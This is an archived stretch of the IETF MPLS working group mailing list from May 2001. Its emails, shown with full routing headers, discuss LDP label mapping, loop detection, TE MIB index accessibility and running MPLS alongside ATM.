	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 18:45:45 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrdz15777;
	Tue, 29 May 2001 22:46:04 GMT
Received: by mail-control.mail.uu.net 
	id QQkrdz25870
	for mpls-outgoing; Tue, 29 May 2001 22:45:32 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrdz25865
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 22:45:26 GMT
Received: from cmr2.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrdy17929
	for <mpls@UU.NET>; Tue, 29 May 2001 22:44:51 GMT
Received: from yarilo.pluris.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: host200.pluris.com [208.227.9.200])
	id QQkrdy22308
	for <mpls@UU.NET>; Tue, 29 May 2001 22:44:51 GMT
Received: from pluris.com (do101085.pluris.com [172.16.55.241])
	by yarilo.pluris.com (8.9.2/8.9.1) with ESMTP id PAA17405;
	Tue, 29 May 2001 15:44:38 -0700 (PDT)
Message-ID: <3B142656.C7E831A0@pluris.com>
Date: Tue, 29 May 2001 15:44:38 -0700
From: Chris Kuszmaul <fyodor@pluris.com>
Organization: Pluris
X-Mailer: Mozilla 4.7 [en] (WinNT; I)
X-Accept-Language: en
MIME-Version: 1.0
To: David Charlap <david.charlap@marconi.com>, mpls@UU.NET
Subject: LDP requires break-before-make
References: <9DC5E2ABE65BD54CA9088DA3194461D6037A6C0D@BBY1EXM01> <3AF06AB7.81EE10AB@marconi.com> <3AF08792.4A56B50F@pluris.com>
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit


 Before a label can be mapped to an FEC that has already been mapped, the LSR
must release the old label (prompted perhaps by a withdrawal message). Thus, LDP
calls for a break-before-make on LSP updates.  It would seem a straightforward
matter for the protocol to include a withdraw-and-map message that performs this
sequence atomically, and so preserves a make-before-break condition.

  Is there some reason for not providing for this kind of functionality?

 Thanks for any comments.

CLK

PS: The careful reader will realize that I have mentioned this issue before in
the thread [Re: Receive Label Receive !!], but have not seen any reply. This is
an attempt to focus the question and broaden the pool of possible respondents.



From owner-mpls@UU.NET  Tue May 29 21:00:34 2001
Received: from cmr1.ash.ops.us.uu.net ([198.5.241.39])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id VAA13394
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 21:00:34 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrei07854;
	Wed, 30 May 2001 01:00:51 GMT
Received: by mail-control.mail.uu.net 
	id QQkrei17990
	for mpls-outgoing; Wed, 30 May 2001 01:00:20 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrei16649
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 01:00:06 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkreh03592
	for <mpls@uu.net>; Wed, 30 May 2001 00:59:53 GMT
From: martin@reed-net.co.uk
Received: from seralph10.essex.ac.uk by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: seralph10.essex.ac.uk [155.245.240.160])
	id QQkreh05901
	for <mpls@uu.net>; Wed, 30 May 2001 00:59:53 GMT
Received: from sernt28.essex.ac.uk ([155.245.240.138])
	by seralph10.essex.ac.uk with esmtp (Exim 3.13 #1)
	id 154uL2-00082d-00
	for mpls@uu.net; Wed, 30 May 2001 01:59:52 +0100
Received: by sernt28.essex.ac.uk with Internet Mail Service (5.5.2653.19)
	id <K2DM3T13>; Wed, 30 May 2001 01:59:53 +0100
Received: from mjrnb1.essex.ac.uk ([155.245.210.54]) by sernt14.essex.ac.uk with SMTP (Microsoft Exchange Internet Mail Service Version 5.5.2653.13)
	id K2D4MWXL; Wed, 30 May 2001 01:54:53 +0100
Reply-To: martin@reed-net.co.uk
To: mpls@UU.NET
Date: Wed, 30 May 2001 01:59:54 +0100 (BST)
X-X-Sender:  <mjreed@mjrnb1.essex.ac.uk>
Subject: GMPLS / OIF toolkits
Message-ID: <Pine.LNX.4.33.0105300147220.1370-100000@mjrnb1.essex.ac.uk>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi,

I am carrying out a survey of commercial GMPLS toolkits or product suites
that could be developed for use with all optical wavelength switching
networks. If you are involved with or know of any such products please
could you let me know.

The type of features I am interested in finding out about in such
suites are:
GMPLS rsvp-te/ cr-ldp explicit routing
OIF compatible UNI
COPS + PDP/PEP implementations
RoutingWavelengthAllocation algrothms

All I need to find out is a list of contacts, I am not expecting a
complete feature list as a reply to this Email, so if you have anything
vaguely in this area please let me know.

Thanks,

Martin Reed.
-- 
/ Dr. M.J. Reed        mailto:martin@reed-net.co.uk                 /



From owner-mpls@UU.NET  Tue May 29 22:35:22 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA16056
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 22:35:22 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkreo02799;
	Wed, 30 May 2001 02:35:40 GMT
Received: by mail-control.mail.uu.net 
	id QQkreo03058
	for mpls-outgoing; Wed, 30 May 2001 02:35:08 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkreo03043
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 02:34:50 GMT
Received: from cmr1.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkreo19221
	for <mpls@uu.net>; Wed, 30 May 2001 02:33:18 GMT
Received: from gateway.ipinfusion.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.ipinfusion.com [209.11.132.18] (may be forged))
	id QQkreo13328
	for <mpls@uu.net>; Wed, 30 May 2001 02:33:17 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4U2Yfj18585
	for <mpls@uu.net>; Tue, 29 May 2001 19:34:42 -0700
Message-ID: <3B145D20.F1C1E17A@ipinfusion.com>
Date: Tue, 29 May 2001 19:38:24 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Loop Detection !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

I have a few doubts regarding loop detection in RFC 3036 :-

a)  If an LSR A receives a mapping fron a downstream LSR B and a loop is
detected on checking the attributes, then  the label is released by
LASR A only if there is no matching mapping received previously.  Why is
the mapping not  released in case there is a matching mapping already
present in the LSR A.

b)  The algorithm for handling loop detection messages received in
response to label mapping message is not very clear.  According to the
RFC it should be handled in the same manner as No Route notification
message (A.1.10) but A.1.10 describes the case when a No Route is
received in response to request message only.

Thanks in advance
manoj




From owner-mpls@UU.NET  Tue May 29 22:51:53 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA16370
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 22:51:53 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrep09720;
	Wed, 30 May 2001 02:52:11 GMT
Received: by mail-control.mail.uu.net 
	id QQkrep04574
	for mpls-outgoing; Wed, 30 May 2001 02:51:39 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrep04512
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 02:51:26 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrep01070
	for <mpls@uu.net>; Wed, 30 May 2001 02:51:19 GMT
Received: from gateway.ipinfusion.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: gt.ipinfusion.com [209.11.132.18] (may be forged))
	id QQkrep08613
	for <mpls@uu.net>; Wed, 30 May 2001 02:51:19 GMT
Received: from ipinfusion.com (IDENT:root@[10.10.0.38])
	by gateway.ipinfusion.com (8.11.0/8.11.0) with ESMTP id f4U2qhj18714
	for <mpls@uu.net>; Tue, 29 May 2001 19:52:43 -0700
Message-ID: <3B14615A.3D2815A8@ipinfusion.com>
Date: Tue, 29 May 2001 19:56:26 -0700
From: Manoj Dutta <manoj@ipinfusion.com>
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.4.2 i686)
X-Accept-Language: en
MIME-Version: 1.0
To: mpls@UU.NET
Subject: Notification Messages !!
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Hi,

Does anybody know if there is a list of the types of notification which
should be forwarded by an LSR.
Also, are there any guidelines for taking this decision by a given LSR ?

thanks
manoj



From owner-mpls@UU.NET  Tue May 29 22:57:02 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id WAA16407
	for <mpls-archive@lists.ietf.org>; Tue, 29 May 2001 22:57:02 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrep26024;
	Wed, 30 May 2001 02:57:21 GMT
Received: by mail-control.mail.uu.net 
	id QQkrep04971
	for mpls-outgoing; Wed, 30 May 2001 02:56:50 GMT
Received: from imr2.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr2.ash.ops.us.uu.net [153.39.43.15])
	id QQkrep04961
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 02:56:39 GMT
Received: from cmr0.ash.ops.us.uu.net by imr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrep00493
	for <mpls@UU.NET>; Wed, 30 May 2001 02:56:29 GMT
Received: from mail.pantheranetworks.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail.timetra.com [63.104.212.2])
	id QQkrep15098
	for <mpls@UU.NET>; Wed, 30 May 2001 02:56:29 GMT
Received: from SAURABAHPC ([192.168.200.1]) by mail.pantheranetworks.com
          (Post.Office MTA v3.5.3 release 223 ID# 0-66622U100L100S0V35)
          with SMTP id com; Tue, 29 May 2001 19:56:35 -0700
Reply-To: <saurabh@timetra.com>
From: sshrivastava@timetra.com (Saurabh Shrivastava)
To: "'Manoj Dutta'" <manoj@ipinfusion.com>, <mpls@UU.NET>
Subject: RE: Notification Messages !!
Date: Tue, 29 May 2001 19:55:19 -0700
Message-ID: <005b01c0e8b3$f6a173e0$de01a8c0@SAURABAHPC>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="US-ASCII"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook CWS, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <3B14615A.3D2815A8@ipinfusion.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

did you look at MPLS-LSR-MIB ?
there are 2 - 

o mplsXCUp
o mplsXCDown

~ 
~ Does anybody know if there is a list of the types of 
~ notification which
~ should be forwarded by an LSR.
~ Also, are there any guidelines for taking this decision by a 
~ given LSR ?
~ 
~ thanks
~ manoj
~ 
~ 


From owner-mpls@UU.NET  Wed May 30 00:03:16 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id AAA17284
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 00:03:15 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkreu02517;
	Wed, 30 May 2001 04:03:34 GMT
Received: by mail-control.mail.uu.net 
	id QQkreu10493
	for mpls-outgoing; Wed, 30 May 2001 04:03:01 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkreu10430
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 04:02:43 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkreu03242
	for <mpls@UU.NET>; Wed, 30 May 2001 04:01:54 GMT
Received: from localhost.localdomain by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [164.164.70.54])
	id QQkreu00006
	for <mpls@UU.NET>; Wed, 30 May 2001 04:01:51 GMT
Received: from cheetah (IDENT:tomar@cheetah [127.0.0.1])
	by localhost.localdomain (8.11.0/8.11.0) with ESMTP id f4U455Q19880;
	Wed, 30 May 2001 09:35:11 +0530
Date: Wed, 30 May 2001 09:35:05 +0530 (IST)
From: Nagendra Singh Tomar <nagendras@netbrahma.com>
X-Sender: tomar@localhost.localdomain
Reply-To: nagendras@netbrahma.com
To: Chris Kuszmaul <fyodor@pluris.com>
cc: David Charlap <david.charlap@marconi.com>, mpls@UU.NET
Subject: Re: LDP requires break-before-make
In-Reply-To: <3B142656.C7E831A0@pluris.com>
Message-ID: <Pine.LNX.4.21.0105300928100.19825-100000@localhost.localdomain>
Organization: NetBrahma Technologies
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
Sender: owner-mpls@UU.NET
Precedence: bulk

Hi!
   I cannot understand why an LSR (downstream) will need to withdraw  a
label mapping for a particular FEC from its upstream peer and send a new
mapping for the same FEC this time with a different label
(withdraw-and-map message). It can as well use the old (incoming) label
for whatever purpose it's planning to use the new label.
The only reason can be setting up of multiple equal-cost paths, which the
RFC says is not supported now.
I would like to know if there are any other implications.
 
-- tomar


On Tue, 29 May 2001, Chris Kuszmaul wrote:

> 
>  Before a label can be mapped to an FEC that has already been mapped, the LSR
> must release the old label (prompted perhaps by a withdrawal message). Thus, LDP
> calls for a break-before-make on LSP updates.  It would seem a straightforward
> matter for the protocol to include a withdraw-and-map message that performs this
> sequence atomically, and so preserves a make-before-break condition.
> 
>   Is there some reason for not providing for this kind of functionality?
> 
>  Thanks for any comments.
> 
> CLK
> 
> PS: The careful reader will realize that I have mentioned this issue before in
> the thread [Re: Receive Label Receive !!], but have not seen any reply. This is
> an attempt to focus the question and broaden the pool of possible respondents.
> 



From owner-mpls@UU.NET  Wed May 30 04:22:43 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id EAA03547
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 04:22:43 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrfl02235;
	Wed, 30 May 2001 08:23:02 GMT
Received: by mail-control.mail.uu.net 
	id QQkrfl28694
	for mpls-outgoing; Wed, 30 May 2001 08:22:30 GMT
Received: from imr0.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr0.ash.ops.us.uu.net [153.39.43.11])
	id QQkrfl28686
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 08:22:21 GMT
Received: from cmr2.ash.ops.us.uu.net by imr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrfl21877
	for <mpls@UU.NET>; Wed, 30 May 2001 08:21:30 GMT
Received: from mailgw.local.ipunplugged.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: [213.88.134.217])
	id QQkrfl00322
	for <mpls@UU.NET>; Wed, 30 May 2001 08:21:28 GMT
Received: from HANSPC (a27.local.ipunplugged.com [192.168.4.197])
	by mailgw.local.ipunplugged.com (8.9.3/8.9.3) with SMTP id KAA16765;
	Wed, 30 May 2001 10:21:37 +0200
From: =?iso-8859-1?Q?Hans_Sj=F6strand?= <hans@ipunplugged.com>
To: "Natale, Robert C \(Bob\)" <bnatale@lucent.com>,
        "AtmeshSrivastava" <atmesh@multitech.co.in>, <tnadeau@cisco.com>
Cc: <mpls@UU.NET>
Subject: RE: TE MIB Indexes
Date: Wed, 30 May 2001 10:19:38 +0200
Message-ID: <LOEHIHPCEGEDPKHAHPMMKENECEAA.hans@ipunplugged.com>
MIME-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2911.0)
In-Reply-To: <BD842AF47D98D311BFC400508B5EBB8D016B475C@md6370exch003u.nse.lucent.com>
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4133.2400
Importance: Normal
Sender: owner-mpls@UU.NET
Precedence: bulk
Content-Transfer-Encoding: 7bit

Bob,

You are perfectly true, but in this case there is actually a bug in the 
mib which is kind of confusing. Indexes SHALL always be "not-accessible", 
see section 7.7 in RFC1902. Making them "accessible-for-notify" breaks 
the SMI for SNMPv2 and upsets my compiler (although it's recoverable). 

The reason I guess is to include the objects in the notifications, but 
including auxiliary objects in notifications are cosidered bad practice
(exept for that it violates SMI) since the objects have the same value as
the OID itself. 

So, Tom et.al 

The auxiliary objects mplsTunnelIndex, mplsTunnelInstance, 
mplsTunnelIngressLSRId, mplsTunnelEgressLSRId should be removed
from the notifications (their values are anyway carried in the 
mplsTunnelAdminStatus) and the objects should be made not-accessible
in the mplsTunnelTable. 

Else you won't get the mib through either a compiler nor IESG ;-) 

Regards
/// Hasse

> -----Original Message-----
> From: owner-mpls@UU.NET [mailto:owner-mpls@UU.NET]On Behalf Of Natale,
> Robert C (Bob)
> Sent: den 29 maj 2001 21:56
> To: AtmeshSrivastava
> Cc: mpls@UU.NET
> Subject: RE: TE MIB Indexes
> 
> 
> Hi Atmesh,
> 
> Index values must either be "known" a priori or discovered.
> You can discover index values either via notifications (per
> your comments below) or, more typically, via a GetNext walk
> starting with some value preceding the first legal value for
> the given index.  Often, a GetNext table "walk" is performed
> to build a set of usable index values for a given instance
> of a management app.
> 
> Let me know if that is unclear or seems problematic to you.
> 
> Thanks,
> 
> BobN
> 
> > -----Original Message-----
> > From: AtmeshSrivastava [mailto:atmesh@multitech.co.in]
> > Sent: Friday, May 25, 2001 4:05 PM
> > To: tnadeau@cisco.com; mpls@UU.NET
> > Subject: TE MIB Indexes
> > 
> > 
> > Hi,
> > In the TE Mib, for the TE Tunnel Table the Max Acess of the indexes is
> > Accessible For Notify which means that these indexes are 
> > generated only
> > in the case of a trap event . Now for Snmp support how do you perform
> > set , get and get next operation.
> > Well in my Opinion only when you get the indexes through the trap you
> > can use them to get the values of the other leaf variables for that
> > particular index , that means you cannot do  a get next operation .The
> > sameis applicable for the set operation .
> > Please clarify on these issues as soon as possible.
> > 
> > Regards,
> > Atmesh
> > Software Engineer
> > Multitech Software Systems India (p) Ltd
> > 
> > 
> > 


From owner-mpls@UU.NET  Wed May 30 10:08:37 2001
Received: from cmr2.ash.ops.us.uu.net ([198.5.241.40])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11852
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 10:08:37 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgi22568;
	Wed, 30 May 2001 14:08:57 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgi16434
	for mpls-outgoing; Wed, 30 May 2001 14:08:22 GMT
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrgi16174
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 14:08:04 GMT
Received: from cmr2.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr2.ash.ops.us.uu.net [198.5.241.40])
	id QQkrgi24848
	for <mpls@uu.net>; Wed, 30 May 2001 14:07:27 GMT
Received: from sj-msg-core-1.cisco.com by cmr2.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-1.cisco.com [171.71.163.11])
	id QQkrgi19109
	for <mpls@uu.net>; Wed, 30 May 2001 14:07:26 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-1.cisco.com (8.11.3/8.9.1) with ESMTP id f4UE7T903793
	for <mpls@uu.net>; Wed, 30 May 2001 07:07:29 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA04541 for mpls@uu.net; Wed, 30 May 2001 10:07:24 -0400 (EDT)
Received: from imr1.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr1.ash.ops.us.uu.net [153.39.43.46])
	id QQkrdn08145
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 19:48:12 GMT
Received: from cmr0.ash.ops.us.uu.net by imr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdm02321
	for <mpls@uu.net>; Tue, 29 May 2001 19:38:23 GMT
Received: from colosseum.gpcinternational.com by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: server1.gpc.ca [206.191.69.3])
	id QQkrdm17576
	for <mpls@uu.net>; Tue, 29 May 2001 19:38:22 GMT
Received: from server1.gpc.ca (unverified) by colosseum.gpcinternational.com
 (Content Technologies SMTPRS 4.2.1) with ESMTP id <T53d194dd660ac9691f0ba@colosseum.gpcinternational.com>;
 Tue, 29 May 2001 15:34:39 -0400
Received: by OTTAWA with Internet Mail Service (5.5.2650.21)
	id <L27TVK1T>; Tue, 29 May 2001 15:35:30 -0400
Message-ID: <4C04EA0B92EED211A45900105A1BC0D502F32D69@OTTAWA>
From: "Carr, Richard" <Richard.Carr@gpcinternational.com>
To: "'Eric Gray'" <eric.gray@sandburst.com>, gopinathg <gopinathg@hclt.com>
Cc: MPLS Mailing List <mpls@UU.NET>
Subject: RE: Address Table & ER-Hop
Date: Tue, 29 May 2001 15:35:28 -0400
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2650.21)
Content-Type: text/plain; charset="iso-8859-1"
Sender: owner-mpls@UU.NET
Precedence: bulk

unsubscribe



-----Original Message-----
From: Eric Gray [mailto:eric.gray@sandburst.com]
Sent: Tuesday, May 29, 2001 3:24 PM
To: gopinathg
Cc: MPLS Mailing List
Subject: Re: Address Table & ER-Hop


Gopinath,


> Hi
>
>  what does the peer addresses table in LDP specify ?
>
> MPLS inteface addresses of the peer alone or  non-mpls interface addresses
> or the peer also?.

It specifies addresses which might appear in the local peer's
route table as a next hop corresponding to a given remote peer.

See section 2.7, "LDP Identifiers and Next Hop Addresses" in
RFC 3036.


> Hi
>
>   Does  ER-HOP contains only Router-Id or any of its interface addresses?
> If it contains interface addresses then will it be MPLS capable interface
> addresses or can be non-mpls capable addresses also.
>

This is not specified and either may be used.  See section 4.2 of -

"http://www.ietf.org/internet-drafts/draft-ietf-mpls-cr-ldp-05.txt"

- and sections 4.3.2 and 4.3.3 of -

"http://www.ietf.org/internet-drafts/draft-ietf-mpls-rsvp-lsp-tunnel-08.txt"

for information on the types of 'addresses' that may appear in an
ER-Hop or ERO Subobject (respectively)...

--
Eric Gray



*******************************************************************
This email message has been swept by MIMEsweeper
for the presence of computer viruses

Ce courrier a fait l'objet d'un balayage antivirus au moyen
du logiciel MIMEsweeper
*******************************************************************



From owner-mpls@UU.NET  Wed May 30 10:11:29 2001
Received: from cmr0.ash.ops.us.uu.net ([198.5.241.38])
	by ietf.org (8.9.1a/8.9.1a) with SMTP id KAA11983
	for <mpls-archive@lists.ietf.org>; Wed, 30 May 2001 10:11:28 -0400 (EDT)
Received: from mail-control.mail.uu.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: mail-control.mail.uu.net [153.39.51.35])
	id QQkrgi13858;
	Wed, 30 May 2001 14:11:48 GMT
Received: by mail-control.mail.uu.net 
	id QQkrgi21291
	for mpls-outgoing; Wed, 30 May 2001 14:11:05 GMT
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrgi21089
	for <mpls@mail-control.mail.uu.net>; Wed, 30 May 2001 14:10:54 GMT
Received: from cmr1.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr1.ash.ops.us.uu.net [198.5.241.39])
	id QQkrgi07119
	for <mpls@uu.net>; Wed, 30 May 2001 14:09:17 GMT
Received: from sj-msg-core-2.cisco.com by cmr1.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: sj-msg-core-2.cisco.com [171.69.24.11])
	id QQkrgi29824
	for <mpls@uu.net>; Wed, 30 May 2001 14:09:16 GMT
Received: from erosen-sun.cisco.com (erosen-sun.cisco.com [161.44.134.50])
	by sj-msg-core-2.cisco.com (8.11.3/8.9.1) with ESMTP id f4UE9JU20659
	for <mpls@uu.net>; Wed, 30 May 2001 07:09:19 -0700 (PDT)
Received: (erosen@localhost) by erosen-sun.cisco.com (8.8.4-Cisco.1/CISCO.WS.1.2) id KAA04567 for mpls@uu.net; Wed, 30 May 2001 10:09:15 -0400 (EDT)
Received: from imr3.ash.ops.us.uu.net by mail-control.mail.uu.net with ESMTP 
	(peer crosschecked as: imr3.ash.ops.us.uu.net [153.39.43.47])
	id QQkrdd13517
	for <mpls@mail-control.mail.uu.net>; Tue, 29 May 2001 17:24:18 GMT
Received: from cmr0.ash.ops.us.uu.net by imr3.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: cmr0.ash.ops.us.uu.net [198.5.241.38])
	id QQkrdd18232
	for <mpls@uu.net>; Tue, 29 May 2001 17:23:21 GMT
Received: from smtp3.vnet.net by cmr0.ash.ops.us.uu.net with ESMTP 
	(peer crosschecked as: smtp3.vnet.net [166.82.1.33])
	id QQkrdd10112
	for <mpls@uu.net>; Tue, 29 May 2001 17:23:21 GMT
Received: from main.vnet.net (pool-209-138-20-14.cmbr.grid.net [209.138.20.14])
	by smtp3.vnet.net (8.10.1/8.10.1) with ESMTP id f4THNGD22694;
	Tue, 29 May 2001 13:23:16 -0400 (EDT)
Message-Id: <5.0.2.1.2.20010529131255.00a50d20@pop.vnet.net>
X-Sender: sfeit@pop.vnet.net
X-Mailer: QUALCOMM Windows Eudora Version 5.0.2
Date: Tue, 29 May 2001 13:25:03 -0400
To: "MP LS" <stagempls@hotmail.com>, mpls@UU.NET, mpls-ops@mplsrc.com
From: Sidnie Feit <sfeit@vnet.net>
Subject: Re: Vendors who use Ships in the Night
In-Reply-To: <F244GxegIqunLOyDc41000080db@hotmail.com>
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
Sender: owner-mpls@UU.NET
Precedence: bulk

"Ships in the Night" -- that is, running both MPLS and ordinary IP at a 
router, and running MPLS and ordinary ATM
circuits concurrently is included in the basic MPLS functionality.

For LDP, an ATM switch announces the
VPI and VCI label ranges that it has set aside for MPLS during the opening
exchange of initialization messages across the signaling circuit.

For RSVP-TE, a label-request object in an upstream RESV message carries
the acceptable VPI/VCI ranges.

My bet is that lots of Service Providers operate multi-purpose ATM networks 
today.
1. They carry encapsulated frame relay frames (inside ATM circuits) for 
customers who want to keep frame relay service
2. The set up native ATM circuits for customer that have ATM interface 
equipment
3. They carry MPLS/ATM traffic for customers that use an IP interface to 
the network.

Sidnie Feit


At 10:56 AM 5/29/2001 +0200, MP LS wrote:

>Hello All
>
>I have a question.
>Are there any vendors at the moment who already implemented
>MPLS and ATM as the Ships in the night principle. For the use in a ATM-LSR.
>
